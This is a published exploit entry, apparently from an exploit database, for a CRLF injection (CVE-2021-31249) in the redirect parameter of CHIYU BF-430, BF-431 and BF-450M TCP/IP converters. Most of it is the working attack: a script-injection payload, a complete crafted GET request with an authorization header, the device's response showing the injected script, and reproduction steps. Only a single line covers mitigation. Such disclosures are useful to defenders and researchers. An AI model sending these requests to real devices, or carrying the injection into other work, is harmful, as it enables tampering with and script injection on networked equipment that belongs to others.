48 lines
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2.1 KiB
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48 lines
No EOL
2.1 KiB
Text
# Exploit Title: CHIYU TCP/IP Converter devices - CRLF injection
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# Date: May 31 2021
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# Exploit Author: sirpedrotavares
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# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
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# Software Link: https://www.chiyu-tech.com/category-hardware.html
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# Version: BF-430, BF-431, and BF-450M TCP/IP Converter devices - all firmware versions < June 2021
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# Tested on: BF-430, BF-431, and BF-450M
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# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks
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Description: A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter redirect= available on multiple CGI components.
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CVSS: Medium – CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
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URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249
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Affected parameter: redirect=Component: all the CGI components
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Payload: %0d%0a%0d%0a<script>alert(document.domain)</script>
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====HTTP request======
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GET
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/man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY
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HTTP/1.1
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Host: 192.168.187.12
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
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Firefox/68.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://192.168.187.12/manage.htm
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Authorization: Basic OmFkbWlu
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Connection: close
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Upgrade-Insecure-Requests: 1
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======HTTP response========
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HTTP/1.1 302 Found
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Location: setting.htm
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<script>alert(document.domain)</script>
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Content-Length: 0
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Content-Type: text/html
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Steps to reproduce:
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1. Navigate to the vulnerable device
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2. Make a GET request to all CGI components
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3. Append the payload at the end of the vulnerable parameter (redirect )
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4. Submit the request and observe payload execution
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Mitigation: The latest version of the CHIYU firmware should be installed
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to mitigate this vulnerability. |